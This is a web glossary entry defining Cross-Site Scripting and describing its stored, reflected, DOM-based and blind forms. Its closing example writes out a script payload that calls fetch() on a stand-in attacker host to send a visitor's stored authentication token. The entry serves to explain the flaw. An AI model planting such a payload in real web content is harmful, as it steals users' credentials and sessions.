Skip to main content
Definition Website Computer and Technology

Cross-Site Scripting

Subject: Computer and Technology noun /ˈkrɔːsˌsaɪt ˈskrɪp.tɪŋ/ 1 definition

  1. Definition (noun)

    Entry #29 · Updated

    Cross-Site Scripting (XSS) is a client-side code injection vulnerability in which an attacker embeds malicious scripts—typically JavaScript—into content served by a trusted web application due to insufficient input validation or missing context-aware output encoding. When a victim's browser loads the compromised page, it cannot distinguish the injected payload from legitimate application code and executes it within the target site's origin and security context. This allows the script to read or modify Document Object Model (DOM) data, access browser storage or unprotected cookies, and send authenticated requests on the user's behalf. Unlike server-side injection flaws that target backend systems directly, XSS uses the vulnerable website as a delivery mechanism to execute untrusted code inside the end user's browser.

    Common Types

    • Stored (Persistent) XSS: Occurs when malicious script input is saved permanently on the target server—such as in a database, user profile, or comment thread—and served to every victim who later views the affected page.

    • Reflected (Non-Persistent) XSS: Occurs when malicious script input included in an HTTP request, such as a URL query parameter or search field, is immediately echoed back in the server's response without proper sanitization or encoding.

    • DOM-Based XSS: Occurs entirely on the client side when legitimate JavaScript reads attacker-controlled data from a source such as window.location and writes it unsafely into an executable sink in the Document Object Model.

    • Blind XSS: A specialized form of Stored XSS in which an injected payload executes asynchronously inside a separate, unexposed interface—such as an internal administrative dashboard or log viewer—not directly visible to the attacker.

    Example

    A malicious user submits a forum comment containing <script>fetch('https://attacker.example.com/log?t=' + encodeURIComponent(localStorage.getItem('auth_token')))</script> to a web application that persists and renders comments as raw HTML without output encoding. Whenever another visitor views the thread, their browser executes the injected script under the forum's origin and transmits their authentication token to the attacker's server.